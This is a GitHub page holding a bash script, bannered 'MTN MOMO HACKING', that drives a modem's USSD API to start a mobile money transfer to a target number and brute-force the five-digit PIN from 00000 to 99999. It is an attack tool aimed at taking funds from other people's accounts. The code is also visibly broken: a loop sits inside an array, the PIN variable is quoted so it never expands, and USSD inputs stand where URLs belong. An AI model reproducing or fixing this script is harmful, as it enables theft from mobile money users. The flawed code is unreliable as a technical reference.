-
Notifications
You must be signed in to change notification settings - Fork 0
/
Momo-Funds_Transfer_Pin-code_bruteforce1.sh
101 lines (90 loc) · 5.86 KB
/
Momo-Funds_Transfer_Pin-code_bruteforce1.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/bin/bash
echo -e "\e[33m"
echo "
███╗ ███╗████████╗███╗ ██╗ ███╗ ███╗ ██████╗ ███╗ ███╗ ██████╗ ███████╗██╗ ██╗███╗ ██╗██████╗ ███████╗ ████████╗██████╗ █████╗ ███╗ ██╗███████╗███████╗███████╗██████╗
████╗ ████║╚══██╔══╝████╗ █████╗ ████║██╔═══██╗████╗ ████║██╔═══██╗ ╚══██╔══╝██║ ██║████╗ ██║██╔══██╗██╔════╝ ╚══██╔══╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██╔════╝██╔════╝██╔══██╗
██╔████╔██║ ██║ ██╔██╗ ██║ ██╔████╔██║██║ ██║██╔████╔██║██║ ██║ █████╗ ██║ ██║██╔██╗ ██║██║ ██║███████╗ ██║ ██████╔╝███████║██╔██╗ ██║███████╗█████╗ █████╗ ███████╔╝
██║╚██╔╝██║ ██║ ██║╚██╗██║ ██║╚██╔╝██║██║ ██║██║╚██╔╝██║██║ ██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║╚════██║ ██║ ██╔══██╗██╔══██║██║╚██╗██║╚════██║██╔══╝ ██╔══╝ ██╔══██╗
██║ ╚═╝ ██║ ██║ ██║ ╚████║ ██║ ╚═╝ ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝ ██║ ╚██████╔╝██║ ╚████║██████╔╝███████║ ██║ ██║ ██║██║ ██║██║ ╚████║███████║██║ ███████╗██║ ██║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚══════╝╚═╝ ╚═╝
"
echo -e "\e[0m"
set -Eeo pipefail
# Add ASCII art
echo ""
figlet -f standard "MTN MOMO HACKING" | lolcat
echo ""
# Define the get_headers function
function get_headers() {
# Get the response from the API
response=$(curl -k -s -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" 'http://192.168.8.1/api/ussd/send')
# Extract the cookie and token from the headers
cookie=$(echo "$response" | grep -E 'Set-Cookie:' | cut -d ';' -f2 | cut -d '=' -f2)
token=$(echo "$response" | grep -E '__RequestVerificationToken:' | cut -d '=' -f2)
# Return the cookie and token
if [ -z "$cookie" ] || [ -z "$token" ]; then
echo "Failed to get cookie and token"
exit 1
fi
echo "$cookie" "$token"
}
# Define the get_curl_command function
function get_curl_command() {
# Get the function arguments
local url=$1
local cookie=$2
local token=$3
# Return the curl command
echo "curl -X POST '$url' -H 'Cookie: $cookie' -H 'x-requested-with: XMLHttpRequest' -H '__RequestVerificationToken: $token'"
}
# Define the execute_curl_commands function
function execute_curl_commands() {
# Create a local variable to store the error message
local error_message=""
# Execute the curl commands
for curl_command in "$@"; do
# Check for errors in the curl command
if ! output=$(eval "$curl_command"); then
error_message="Failed to execute curl command: $curl_command"
break
fi
done
# Check if there was an error
if [ -n "$error_message" ]; then
echo "$error_message"
exit 1
fi
}
# Define the try_curl_command function
function try_curl_command() {
# Get the function arguments
local curl_command=$1
# Try to execute the curl command
if ! output=$(curl -s "$curl_command"); then
error_message="Failed to execute curl command: $curl_command"
return 1
fi
}
# Trap all errors and log them to the console
trap 'echo "Error: $?"' ERR
# Get the cookie and token
cookie_token=$(get_headers)
cookie=$(echo "$cookie_token" | cut -d ' ' -f1)
token=$(echo "$cookie_token" | cut -d ' ' -f2)
# Get the curl commands
curl_commands=(
"$(get_curl_command '*126#' "$cookie" "$token")"
"$(get_curl_command '1' "$cookie" "$token")"
"$(get_curl_command '1' "$cookie" "$token")"
"$(get_curl_command 'Enter the targets phone number' "$cookie" "$token")"
"$(get_curl_command 'Enter the Amount' "$cookie" "$token")"
"$(get_curl_command '1' "$cookie" "$token")"
for PIN in $(seq 00000 99999); do "$(get_curl_command '$PIN' "$cookie" "$token")"; done if [[ "$PIN" == "YOUR_PIN_CODE" ]]; then
break
echo "PIN code found: $PIN"
fi
"$(get_curl_command 'Click on the "Submit" button' "$cookie" "$token")"
# Execute the curl commands
execute_curl_commands "${curl_commands[@]}"
# Trap all errors and log them to the console
trap 'echo "Error: $?"' EXIT